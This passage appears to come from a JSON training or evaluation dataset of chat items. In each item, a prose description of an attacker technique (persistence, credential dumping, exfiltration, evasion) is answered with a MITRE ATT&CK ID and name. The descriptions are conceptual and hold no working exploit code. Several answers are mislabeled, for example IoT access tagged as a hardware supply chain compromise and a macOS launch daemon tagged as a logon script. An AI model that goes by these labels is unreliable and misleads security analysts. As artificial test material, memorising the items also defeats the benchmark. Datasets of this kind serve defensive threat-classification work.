            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries manipulate the command line of verclsid to load a malicious DLL, achieving execution while appearing as normal system activity."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a malicious .msc file and launches it via the built‑in MMC utility to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker edits the OpenSSL config to remove strong ciphers, leaving only export‑grade algorithms that use 40‑bit keys."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor abuses launchctl to load a custom LaunchAgent that runs a reverse shell whenever the user logs on."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors deploy a scheduled task that triggers the execution of a hidden service binary, thereby using service execution to persist on the victim host."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies existing Outlook rules to execute a PowerShell script whenever a new email arrives, achieving persistence on the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware abuses the Windows Access Token Manipulation technique to duplicate a token from a privileged process."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a scheduled task that runs a script to add a backdoor account."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code alters the KernelCallbackTable to point to attacker-controlled functions, achieving privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a zero‑day vulnerability in the Windows kernel to bypass endpoint detection and response tools, allowing malicious code to run unimpeded."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors downloaded the organization's VPN configuration files from the configuration repository to replicate secure connections."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the post-exploitation phase, the malicious code drops a kernel extension that is set to auto-load at boot via the system's module configuration files."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary used a compromised service account to edit the firewall rules of cloud compute resources, permitting inbound traffic from malicious IPs."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gaining access via compromised IoT devices on the network"
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary forces a victim's web browser to use SSL 2.0 instead of TLS 1.2, enabling the attacker to decrypt traffic."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker forges the parent PID in a newly created access token to make a malicious process appear as a legitimate system service."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged the Windows Command Shell to execute \"powershell -NoProfile -ExecutionPolicy Bypass -Command ...\" for code execution."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the at command to schedule a data dump to be sent to a remote host at system start."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data is transformed into a Base64 string before being sent over an encrypted channel."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers place a crafted unit file in /usr/lib/systemd/system to gain elevated execution."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor establishes a C2 channel encrypted with a pre‑shared symmetric key to hide command traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a shortcut (.lnk) in the Startup folder that points to PowerPoint.exe, which loads a malicious DLL each time the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors ship a pre‑configured container image and push it to the target's container registry for later execution."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged the Azure Instance Metadata Service (IMDS) to obtain OAuth tokens without authentication, enabling privileged API calls."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor uses the 'systeminfo' and 'net start' commands together to identify which services are running on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses the Windows API QueueUserAPC to schedule execution of a malicious PE payload inside a high-privilege process."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers obtained GitHub organization admin rights and navigated the web dashboard to enumerate repositories and secrets."
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers plant a trojan that encrypts configuration files critical for industrial control systems."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor replaces the current system image with a dated copy that disables security mitigations."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs a custom tool to transfer ransomware components from a compromised host to an attacker-controlled IP address."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During post‑exploitation, the attacker overwrites the system PATH environment variable to point to a folder they control, causing any command lookup to execute their payloads."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the command-line parameters of a legitimate process via API calls to display benign arguments, masking the malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hijacks a trusted supplier's software distribution channel to embed malicious code in a legitimate installer."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a domain generation algorithm to frequently change its DNS lookup targets."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit modifies the authentication plugin of a web application firewall to accept arbitrary credentials without verification."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group uses a rarely accessed Alibaba Cloud region to store stolen credentials, avoiding detection."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary flashes a malicious BIOS update that executes a payload before the operating system loads."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers transform stolen data into a series of Unicode emojis to bypass filters."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker manipulates the COM moniker binding process to redirect calls to a malicious server, facilitating unauthorized inter-process communication and data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Alters the in‑memory representation of a cryptographic key to weaken encryption, enabling decryption of intercepted traffic."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads and decrypts stored passwords from the Opera browser's encrypted data store."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The post‑exploitation tool pushes stolen database dumps to a personal iCloud Drive folder."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a corporate PKI and export the private key for a code signing certificate to sign their payloads."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performed a supply chain compromise by inserting malicious code into a CI/CD pipeline script, which is then deployed to production servers."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker contacts commercial threat intelligence providers to obtain detailed reports on exploited vulnerabilities in the target organization."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit invokes the LsaLookupAuthenticationPackage API to collect cached domain credential material."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the DCSync technique, the malicious actor extracts domain credentials by mimicking the behavior of a replication partner to the DC."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group creates a public GitHub repository containing benign‑looking code that actually contains a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is established by creating a hidden systemd service file that starts the malicious process on boot."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor registers a task named \"BackupUtility\" in the Task Scheduler, disguising the execution of ransomware under a legitimate-looking name."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged default community strings to pull MIBs from a set of IoT devices."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised internal proxy is used to pivot traffic, allowing the attacker to communicate with external C2 while appearing as internal traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker installs a malicious web shell on a compromised IIS server to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor crafts a malicious macro in an Excel spreadsheet that runs when the victim enables macros."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary deploys phishing emails containing URLs to a spoofed login page hosted on their infrastructure to harvest credential information."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a launch daemon on macOS that runs a payload every time the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker recruited compromised DNS resolvers into a botnet to perform cache poisoning attacks."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder creates a scheduled Cloud Run job in GCP that spins up a container to exfiltrate data daily."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies the \"Image File Execution Options\" registry key to point to a malicious shim DLL, triggering execution on process start."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant employs direct calls to the native Nt* system calls to hide its processes."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code interacts with the OpenStack Nova API to launch a new compute instance for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker conducts password spraying by using the password 'Password123' across all employee email accounts."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor utilizes the DDE protocol to pipe commands from a malicious document to the Windows calculator process, achieving code execution."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a code signing misconfiguration, the threat actor distributed a signed but tampered client software binary."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary drops a malicious shared module into the system path, causing legitimate software to load and execute the malicious code."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used RealVNC to access the victim's machine and execute commands over the network."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a scheduled task that calls SharePoint’s OData endpoint to collect and archive meeting minutes."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload is executed through a malicious Office macro that calls PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a forged network logon script, the attacker gains persistence by executing a hidden process each time a user logs on."
            },
            {
                "role": "assistant",
                "content": "T1037.003 - Boot or Logon Initialization Scripts: Network Logon Script"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat detection flagged a DCOM-based remote service connection used to launch a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this campaign, the malicious binary is saved as \"installer.exe \" to trick endpoint protection solutions that do not handle trailing spaces correctly."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses a valid corporate VPN credential obtained from a data breach."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor abuses a default admin password on network devices to gain authorized access."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 employs msxsl.exe with a malicious XSL script to inject and run a C# payload that captures credential hashes."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant records the timestamp of the last reboot and only proceeds with key exfiltration if the host has not been restarted within the past hour."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates an unquoted environment variable entry that includes a space, and then places a malicious executable matching the first token, thereby intercepting execution."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
